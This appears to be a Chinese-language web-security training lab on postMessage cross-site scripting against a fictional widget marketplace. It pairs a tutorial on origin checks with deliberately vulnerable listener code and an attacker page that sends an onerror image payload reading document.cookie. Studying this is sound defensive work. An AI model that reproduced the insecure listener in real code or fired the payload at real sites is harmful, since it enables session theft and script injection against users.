◈ 渗透任务
跨窗口通信安全审计
任务中
你的身份
「暗影安全公司」渗透测试工程师
目标网站
WidgetHub 第三方组件市场 (widgets.widgethub.example.com)
委托方
WidgetHub 使用 postMessage 进行跨 iframe 通信,但未校验消息来源
任务目标
通过 postMessage 注入 XSS payload
- 发送包含 XSS 的 postMessage 消息
- 主页面渲染消息时触发 alert(1)
◈ 教程:postMessage XSS
什么是 postMessage?
postMessage 是 HTML5 的 Window API,允许来自不同源(origin)的窗口/iframe 之间进行安全的跨域通信。
核心概念:
postMessage 本身是安全的 API,但如果接收端不校验消息来源(event.origin)就直接使用消息内容,就会导致 XSS 漏洞。
基本用法
// 发送端(如 iframe 或 opener)
targetWindow.postMessage("Hello", "https://target.com");
// 接收端
window.addEventListener("message", function(event) {
// 安全做法:先校验来源
if (event.origin !== "https://trusted.com") return;
// 安全做法:使用 textContent 而非 innerHTML
document.getElementById("output").textContent = event.data;
});
常见漏洞模式
模式 1:缺少 origin 校验 + innerHTML
// 危险!
window.addEventListener("message", function(e) {
// 缺少: if (e.origin !== "https://trusted.com") return;
document.getElementById("output").innerHTML = e.data;
});
任何页面都可以向此窗口发送消息,消息中的 HTML 会被直接渲染。
模式 2:使用 wildcard("*")发送
// 危险!接收端无法通过 origin 过滤
targetWindow.postMessage(data, "*");
// 安全做法:指定明确的目标 origin
targetWindow.postMessage(data, "https://target.com");
模式 3:JSON.parse 前未校验
window.addEventListener("message", function(e) {
var data = JSON.parse(e.data); // 可能被注入
document.getElementById("name").innerHTML = data.name;
});
攻击流程
// 攻击者页面 (evil.html)
<iframe id="victim" src="https://target.com/page"></iframe>
<script>
// 等待 iframe 加载完成后发送恶意消息
document.getElementById("victim").onload = function() {
this.contentWindow.postMessage(
'<img src=x onerror=alert(document.cookie)>',
'*'
);
};
</script>
攻击面分析
| 场景 | 风险 |
|---|---|
| innerHTML 渲染 | 直接 XSS |
| eval() 执行 | 远程代码执行 |
| location.href 跳转 | 钓鱼/恶意跳转 |
| fetch() 请求 | SSRF / 数据泄露 |
| localStorage 写入 | 持久化攻击 |
◈ 练习:postMessage XSS
目标:页面包含一个 postMessage 监听器,它不校验消息来源并将消息内容通过
innerHTML 渲染。
点击下方按钮模拟攻击者发送一条包含恶意 HTML 的 postMessage 消息。
消息接收区(innerHTML 渲染):
等待接收消息...
发送的消息内容预览:
点击上方按钮后,此处将显示发送的消息内容。
◈ 查看漏洞源码 (JavaScript)
// === 接收端(主页面)===
// 危险:未校验消息来源(origin),且使用 innerHTML 渲染消息内容
window.addEventListener("message", function(e) {
// 缺少: if (e.origin !== "https://trusted.com") return;
document.getElementById("output").innerHTML = e.data;
});
// === 发送端(攻击者页面)===
// 攻击者可以在自己的页面中嵌入目标 iframe,然后发送恶意消息
// var victim = document.getElementById("victim-frame");
// victim.contentWindow.postMessage("<img src=x onerror=alert(1)>", "*");
◈ 过滤状态:
- 消息来源(origin)校验 — 缺失
- 消息内容过滤 — 无
- 渲染方式 — innerHTML(直接解析 HTML)
- CSP 限制 — 未设置